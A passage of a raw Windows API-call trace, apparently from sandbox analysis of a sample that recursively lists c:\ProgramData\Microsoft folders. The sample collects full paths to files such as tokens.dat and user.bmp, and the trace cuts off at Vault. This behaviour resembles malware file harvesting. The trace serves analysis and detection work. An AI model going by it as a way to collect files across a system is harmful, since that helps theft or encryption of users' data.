lpString1="c:\\ProgramData\\Microsoft\\MF", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\") returned="c:\\ProgramData\\Microsoft\\MF\\" [0121.269] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0121.269] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\*") returned="c:\\ProgramData\\Microsoft\\MF\\*" [0121.269] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.269] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.269] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.269] lstrcmpW (lpString1="Active.GRL", lpString2=".") returned 1 [0121.269] lstrcmpW (lpString1="Active.GRL", lpString2="..") returned 1 [0121.269] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0121.269] lstrlenW (lpString="Active.GRL") returned 10 [0121.269] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Active.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0121.269] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned 38 [0121.270] lstrcpyW (in: lpString1=0x24a8d40, lpString2="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0121.270] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.270] lstrcmpW (lpString1="Pending.GRL", lpString2=".") returned 1 [0121.270] lstrcmpW (lpString1="Pending.GRL", lpString2="..") returned 1 [0121.270] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0121.270] lstrlenW (lpString="Pending.GRL") returned 11 [0121.270] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Pending.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0121.270] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 39 [0121.270] lstrcpyW (in: lpString1=0x24a8d98, lpString2="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0121.270] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.270] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.270] lstrcmpW (lpString1="NetFramework", lpString2=".") returned 1 [0121.270] lstrcmpW (lpString1="NetFramework", lpString2="..") returned 1 [0121.270] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.270] lstrlenW (lpString="NetFramework") returned 12 [0121.270] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="NetFramework" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework") returned="c:\\ProgramData\\Microsoft\\NetFramework" [0121.270] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\") returned="c:\\ProgramData\\Microsoft\\NetFramework\\" [0121.270] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\NetFramework\\") returned 38 [0121.270] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\*") returned="c:\\ProgramData\\Microsoft\\NetFramework\\*" [0121.270] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.288] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.288] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.288] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.288] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.288] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.288] lstrcmpW (lpString1="BreadcrumbStore", lpString2=".") returned 1 [0121.288] lstrcmpW (lpString1="BreadcrumbStore", lpString2="..") returned 1 [0121.288] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\NetFramework\\") returned 38 [0121.288] lstrlenW (lpString="BreadcrumbStore") returned 15 [0121.288] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="BreadcrumbStore" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0121.288] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.288] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.288] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.288] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0121.288] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0121.288] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.288] lstrlenW (lpString="Network") returned 7 [0121.288] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Network" | out: lpString1="c:\\ProgramData\\Microsoft\\Network") returned="c:\\ProgramData\\Microsoft\\Network" [0121.288] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\") returned="c:\\ProgramData\\Microsoft\\Network\\" [0121.288] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0121.288] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\*") returned="c:\\ProgramData\\Microsoft\\Network\\*" [0121.288] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.289] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.289] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.289] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.289] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0121.289] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0121.289] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0121.289] lstrlenW (lpString="Connections") returned 11 [0121.289] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Connections") returned="c:\\ProgramData\\Microsoft\\Network\\Connections" [0121.289] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.289] lstrcmpW (lpString1="Downloader", lpString2=".") returned 1 [0121.289] lstrcmpW (lpString1="Downloader", lpString2="..") returned 1 [0121.289] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0121.289] lstrlenW (lpString="Downloader") returned 10 [0121.289] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Downloader" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Downloader") returned="c:\\ProgramData\\Microsoft\\Network\\Downloader" [0121.289] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.289] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.289] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.289] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0121.289] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0121.289] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.289] lstrlenW (lpString="Office") returned 6 [0121.289] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Office" | out: lpString1="c:\\ProgramData\\Microsoft\\Office") returned="c:\\ProgramData\\Microsoft\\Office" [0121.289] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\") returned="c:\\ProgramData\\Microsoft\\Office\\" [0121.289] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\") returned 32 [0121.289] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\*") returned="c:\\ProgramData\\Microsoft\\Office\\*" [0121.289] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.289] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.289] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.289] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.289] lstrcmpW (lpString1="ClickToRunPackageLocker", lpString2=".") returned 1 [0121.289] lstrcmpW (lpString1="ClickToRunPackageLocker", lpString2="..") returned 1 [0121.289] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\") returned 32 [0121.290] lstrlenW (lpString="ClickToRunPackageLocker") returned 23 [0121.290] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="ClickToRunPackageLocker" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" [0121.290] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned 55 [0121.290] lstrcpyW (in: lpString1=0x24a0f60, lpString2="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" [0121.290] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.290] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.290] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.290] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0121.290] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0121.290] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.290] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0121.290] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0121.290] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0121.290] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0121.290] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0121.290] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.322] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.322] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.322] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.322] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.322] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.322] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0121.322] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0121.322] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0121.322] lstrlenW (lpString="Cache") returned 5 [0121.322] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="Cache" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0121.322] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.322] lstrcmpW (lpString1="tokens.dat", lpString2=".") returned 1 [0121.322] lstrcmpW (lpString1="tokens.dat", lpString2="..") returned 1 [0121.322] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0121.322] lstrlenW (lpString="tokens.dat") returned 10 [0121.322] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="tokens.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0121.322] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 68 [0121.322] lstrcpyW (in: lpString1=0x24a8df0, lpString2="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0121.322] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.322] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.322] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.322] lstrcmpW (lpString1="RAC", lpString2=".") returned 1 [0121.322] lstrcmpW (lpString1="RAC", lpString2="..") returned 1 [0121.322] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.322] lstrlenW (lpString="RAC") returned 3 [0121.322] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="RAC" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC") returned="c:\\ProgramData\\Microsoft\\RAC" [0121.322] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\") returned="c:\\ProgramData\\Microsoft\\RAC\\" [0121.322] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0121.322] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\*") returned="c:\\ProgramData\\Microsoft\\RAC\\*" [0121.322] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.323] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.323] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.323] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.323] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.323] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.323] lstrcmpW (lpString1="Outbound", lpString2=".") returned 1 [0121.323] lstrcmpW (lpString1="Outbound", lpString2="..") returned 1 [0121.323] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0121.323] lstrlenW (lpString="Outbound") returned 8 [0121.323] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="Outbound" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="c:\\ProgramData\\Microsoft\\RAC\\Outbound" [0121.323] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.323] lstrcmpW (lpString1="PublishedData", lpString2=".") returned 1 [0121.323] lstrcmpW (lpString1="PublishedData", lpString2="..") returned 1 [0121.323] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0121.323] lstrlenW (lpString="PublishedData") returned 13 [0121.323] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="PublishedData" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="c:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0121.323] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.323] lstrcmpW (lpString1="StateData", lpString2=".") returned 1 [0121.323] lstrcmpW (lpString1="StateData", lpString2="..") returned 1 [0121.323] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0121.323] lstrlenW (lpString="StateData") returned 9 [0121.323] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="StateData" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\StateData") returned="c:\\ProgramData\\Microsoft\\RAC\\StateData" [0121.323] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.323] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0121.323] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0121.323] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0121.323] lstrlenW (lpString="Temp") returned 4 [0121.323] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="Temp" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\Temp") returned="c:\\ProgramData\\Microsoft\\RAC\\Temp" [0121.323] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.323] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.323] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.323] lstrcmpW (lpString1="Search", lpString2=".") returned 1 [0121.323] lstrcmpW (lpString1="Search", lpString2="..") returned 1 [0121.323] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.323] lstrlenW (lpString="Search") returned 6 [0121.323] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Search" | out: lpString1="c:\\ProgramData\\Microsoft\\Search") returned="c:\\ProgramData\\Microsoft\\Search" [0121.323] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\") returned="c:\\ProgramData\\Microsoft\\Search\\" [0121.323] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Search\\") returned 32 [0121.323] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\*") returned="c:\\ProgramData\\Microsoft\\Search\\*" [0121.323] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.327] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.327] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.327] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0121.327] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0121.327] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Search\\") returned 32 [0121.327] lstrlenW (lpString="Data") returned 4 [0121.327] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search\\", lpString2="Data" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\Data") returned="c:\\ProgramData\\Microsoft\\Search\\Data" [0121.327] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.327] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.327] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.327] lstrcmpW (lpString1="User Account Pictures", lpString2=".") returned 1 [0121.327] lstrcmpW (lpString1="User Account Pictures", lpString2="..") returned 1 [0121.327] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.327] lstrlenW (lpString="User Account Pictures") returned 21 [0121.327] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="User Account Pictures" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures") returned="c:\\ProgramData\\Microsoft\\User Account Pictures" [0121.327] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\" [0121.327] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0121.327] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\*" [0121.327] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.328] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.328] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.328] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.328] lstrcmpW (lpString1="aETAdzjz.dat", lpString2=".") returned 1 [0121.328] lstrcmpW (lpString1="aETAdzjz.dat", lpString2="..") returned 1 [0121.328] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0121.328] lstrlenW (lpString="aETAdzjz.dat") returned 12 [0121.328] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="aETAdzjz.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" [0121.328] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned 59 [0121.328] lstrcpyW (in: lpString1=0x24a6478, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" [0121.328] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.328] lstrcmpW (lpString1="Default Pictures", lpString2=".") returned 1 [0121.328] lstrcmpW (lpString1="Default Pictures", lpString2="..") returned 1 [0121.328] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0121.328] lstrlenW (lpString="Default Pictures") returned 16 [0121.328] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="Default Pictures" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0121.328] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.328] lstrcmpW (lpString1="guest.bmp", lpString2=".") returned 1 [0121.328] lstrcmpW (lpString1="guest.bmp", lpString2="..") returned 1 [0121.328] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0121.328] lstrlenW (lpString="guest.bmp") returned 9 [0121.328] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="guest.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0121.328] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned 56 [0121.328] lstrcpyW (in: lpString1=0x24a64f8, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0121.328] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.328] lstrcmpW (lpString1="user.bmp", lpString2=".") returned 1 [0121.328] lstrcmpW (lpString1="user.bmp", lpString2="..") returned 1 [0121.328] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0121.328] lstrlenW (lpString="user.bmp") returned 8 [0121.328] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="user.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0121.328] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned 55 [0121.328] lstrcpyW (in: lpString1=0x24a8ea0, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0121.328] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.328] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.328] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.329] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0121.329] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0121.329] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.329] lstrlenW (lpString="Vault") returned 5 [0121.329] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", 